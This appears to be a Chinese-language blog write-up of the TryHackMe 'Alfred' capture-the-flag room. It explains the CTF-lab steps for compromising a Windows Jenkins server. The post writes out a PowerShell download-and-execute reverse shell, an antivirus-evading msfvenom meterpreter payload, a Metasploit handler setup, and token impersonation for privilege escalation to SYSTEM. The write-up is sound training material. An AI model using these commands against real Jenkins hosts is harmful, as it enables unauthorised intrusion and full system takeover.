📌 目录

    【THM】Alfred 阿尔弗雷德

    【THM】 Alfred 阿尔弗雷德

    Initial Access 初始访问

    A picture of Alfred, the butler from Batman

    在这个房间,我们将学习如何利用广泛使用的自动化服务器(Jenkins - 此工具用于创建持续集成/持续开发管道,允许开发者在对其代码进行更改后自动部署代码)上的常见配置错误。之后,我们将使用一种有趣的权限提升方法来获取完整的系统访问权限。

    由于这是一个 Windows 应用程序,我们将使用 Nishang 来获取初始访问权限。仓库包含一组用于初始访问、枚举和权限提升的有用脚本。在这种情况下,我们将使用反向 shell 脚本。

    请注意,该机器不响应 ping(ICMP)且可能需要几分钟才能启动。

    题1,问我们有多少个开放的TCP端口,我们使用nmap进行扫描,注意题中显示不响应Ping,使用-Pn选项,扫出来共3个TCP端口开放image-20250331222553192

    第二题,访问目标的80端口,没有太多信息,访问8080端口,发现有个登陆页面image-20250331223217592

    尝试弱口令,发现admin/admin可以登陆(也可以通过Hydra等工具爆破)

    找到工具中允许您在底层系统上执行命令的功能。当您找到这个功能时,可以使用以下命令在您的机器上获取反向 shell 并运行它:

    powershell iex (New-Object Net.WebClient).DownloadString('http://your-ip:your-port/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress your-ip -Port your-port
    #修改其中的IP(本地攻击机的tun0地址)和端口号为自己的攻击机。
    #最后指定的端口号为攻击机上所设置的Netcat监听器对应端口号。
    

    您首先需要下载 Powershell 脚本并将其提供给服务器下载。您可以通过使用 python 创建 http 服务器来完成此操作:python3 -m http.server

    我们先开启python临时服务器,这能使存放在攻击机上的反向shell脚本可以被目标机访问并下载,然后在Jenkins后台中找到一个功能点 以便我们能够运行相关命令来下载攻击机上的反向shell脚本并执行该脚本,找到命令执行页面的具体步骤如下——先进入Jenkins后台,然后进入project选项卡(页面中间)、configure选项卡(左侧页面),定位到Build页面(选择Execute Windows batch command)以便我们执行命令,在Build界面输入命令,先点击应用并保存,再点击Build now即可。

    image-20250331225554403

    image-20250331225645967

    image-20250331225752506

    image-20250331225958664

    首先我们需要下载传输到目标服务器的反向shell,输入apt install nishangimage-20250331230320213

    下完后进入nishang的shells目录下,里面有我们需要传输的反向shell文件——Invoke-PowerShellTcp.ps1,在此处开启python的http服务器python3 -m http.server 8080,并用nc监听一个端口用于接受反向shell,这里设置为2345,然后去上面找到的页面输入指令,保存并"build now"。

    image-20250331230752041

    image-20250331230837403

    回到nc监听的窗口,发现成功获得反向shell,使用该反向shell界面进入目标机的目录(C:\Users\bruce\Desktop),获取user flag。

    image-20250331231249903

    image-20250331231308618

    使用MSF切换shell

    A picture of the Metasploit logo

    为了使提权过程更容易,让我们使用以下过程切换到 meterpreter shell。

    使用 msfvenom 创建以下 payload 的 Windows meterpreter 反向 shell:

    msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=IP LPORT=PORT -f exe -o shell-name.exe
    

    此 payload 生成一个编码的 x86-64 反向 TCP meterpreter payload。payload 通常会被编码以确保它们能够正确传输,并且可以绕过防病毒产品。防病毒产品可能无法识别 payload,不会将其标记为恶意软件。

    创建此 payload 后,使用上一步相同的方法将其下载到机器上:

    powershell "(New-Object System.Net.WebClient).Downloadfile('http://your-thm-ip:8000/shell-name.exe','shell-name.exe')"
    

    在运行此程序之前,请确保在 Metasploit 中设置了 handler:

    use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST your-thm-ip set LPORT listening-port run
    

    此步骤使用 Metasploit 处理器接收来自您的反向 shell 的传入连接。一旦运行,输入此命令以启动反向 shell

    Start-Process "shell-name.exe"
    

    这将为您启动一个 meterpreter shell!

    image-20250331232513244

    按步骤生成反向shell后,移动到之前开启python http服务器的目录下,以便于上传到目标服务器,执行相似命令

    powershell "(New-Object System.Net.WebClient).Downloadfile('http://your-thm-ip:8080/shell-name.exe','shell-name.exe')"
    

    image-20250331232621548

    可以看到已经上传成功,然后进入msf,使用multi/handler模块进行监听

    msfconsole
    use multi/handler
    set lhost your_ip
    set lport your_port #你想监听的端口
    run
    

    再次进入 之前获取的普通反向shell界面,输入命令Start-Process "shell-name.exe" 在目标机上执行exe文件,此时,在设置了MSF监听器的终端界面可以看到已经获得一个Meterpreter shell。

    image-20250331233209316

    权限提升

    A picture of a magician

    现在我们已经获得了初始访问权限,让我们使用令牌模拟来获取系统访问权限。

    Windows 使用令牌来确保账户拥有执行特定操作的正确权限。账户令牌在用户登录或进行身份验证时分配给账户。这通常是通过 LSASS.exe(将其视为一个身份验证过程)来完成的。

    此访问令牌包括:

    • 用户 SIDs(安全标识符)
    • 组 SIDs
    • 权限

    在其他事项中。更详细的信息可以在以下位置找到。

    存在两种类型的访问令牌:

    • 主要访问令牌:与用户账户关联,在登录时生成的
    • 模拟令牌:这些令牌允许特定进程(或进程中的线程)使用另一个(用户/客户端)进程的令牌来访问资源

    对于模拟令牌,有不同的级别:

    • 安全匿名:当前用户/客户端无法冒充其他用户/客户端
    • SecurityIdentification: 当前用户/客户端可以获取客户端的身份和权限,但不能冒充客户端
    • SecurityImpersonation: 当前用户/客户端可以在本地系统上冒充客户端的安全上下文
    • SecurityDelegation: 当前用户/客户端可以在远程系统上冒充客户端的安全上下文

    其中安全上下文是一个包含用户相关安全信息的数据结构。

    账户的权限(这些权限在创建账户时赋予或从组继承)允许用户执行特定操作。以下是常见的滥用权限:

    • SeImpersonatePrivilege
    • SeAssignPrimaryPrivilege
    • SeTcbPrivilege
    • SeBackupPrivilege
    • SeRestorePrivilege
    • SeCreateTokenPrivilege
    • SeLoadDriverPrivilege
    • SeTakeOwnershipPrivilege
    • SeDebugPrivilege

    使用whoami /priv,可以查看当前用户的特殊权限

    2442110-20230328211352606-1165503928

    可以发现我们拥有SeDebugPrivilege、SeImpersonatePrivilege特殊权限

    让我们使用允许我们利用此漏洞的incognito模块,执行load incognito加载该模块,如果该命令不可用,可以使用use incognito执行该操作

    使用help可以查看incognito模块的帮助

    2442110-20230328211727965-615602632

    使用list_tokens -g查看可以伪装的令牌,其中BUILTIN\Administrators可以使用

    img

    使用impersonate_token "BUILTIN\Administrators"切换到该用户的令牌,并使用getuid查看当前权限

    img

    即使您拥有更高特权的令牌,您实际上可能没有特权用户的权限(这是由于 Windows 处理权限的方式 - 它使用进程的主令牌而不是模拟令牌来确定进程可以或不会)。但是我们可以把进程迁移到拥有正确权限的进程

    最安全的进程是 services.exe 进程。先用ps命令查看进程,找到services.exe进程的PID。使用命令migrate PID-OF-PROCESS迁移到这个进程

    img

    img

    现在我们就拥有了真正的NT AUTHORITY\SYSTEM权限

    读取 C:\Windows\System32\config 中的 root.txt 文件
    img

    注意:C:\Windows\System32\config\目录是Windows中存放密码的SAM文件和SYSTEM文件的位置,是一个很重要的目录

    image-20250331235328784

    posted @ 2025-03-31 23:54  羽弥YUMI  阅读(27)  评论(0)    收藏  举报